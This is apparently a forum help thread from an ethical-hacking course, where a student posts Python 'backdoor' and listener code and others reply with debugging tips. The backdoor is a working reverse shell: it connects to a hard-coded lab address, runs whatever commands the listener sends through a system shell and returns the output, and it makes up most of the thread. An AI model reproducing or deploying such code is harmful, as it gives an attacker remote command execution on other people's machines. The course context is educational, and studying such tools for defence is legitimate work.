so this problem with the backdoor I was sorted it out but my pc broke down and I had to buy a new one and I had to re-code backdoor but this time i can’t fix this error as i did on old pc.

BackDoor Code:

#!/usr/bin/env python
import socket
import subprocess
import json

class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data, ensure_ascii=False)
self.connection.sendall(json_data.encode())

def reliable_receive(self):
json_data = “”
while True:
try:
json_data = self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)

def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
self.connection.close()

my_backdoor = Backdoor(“192.168.110.128”, 8080)
my_backdoor.run()

LISTENER CODE:

#!/usr/bin/python
import socket, json

class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“[+] Waiting for incoming connections”)
self.connection, address = listener.accept()
print(“[+] Got a connection from ” + str(address))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = “”
while True:
try:
json_data = + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def execute_remotely(self, command):
self.reliable_send(command)
return self.reliable_receive()

def run(self):
while True:
command = raw_input(“>> “)
result = self.execute_remotely(command)
print(result)

my_listener = Listener(“192.168.110.128”, 8080)
my_listener.run()

Hi!
I suggest to write the backdoor just as Zaid does. I mean use connection.send instead of connection.sendall and with python 2 there’s no need to add .encode()

Let me know how it goes!

Hi!
Can you share the modified code? It would be better to use pastebin.com so I can read it with the proper format.
Are you using the windows virtual machine? Did you change the language?

Greetings!

Hi!
In the listener on reliable_receive function you are missing “json_data” before the + symbol. Compare your code with Zaid’s code and ake sure both are exactly the same.

Greetings!
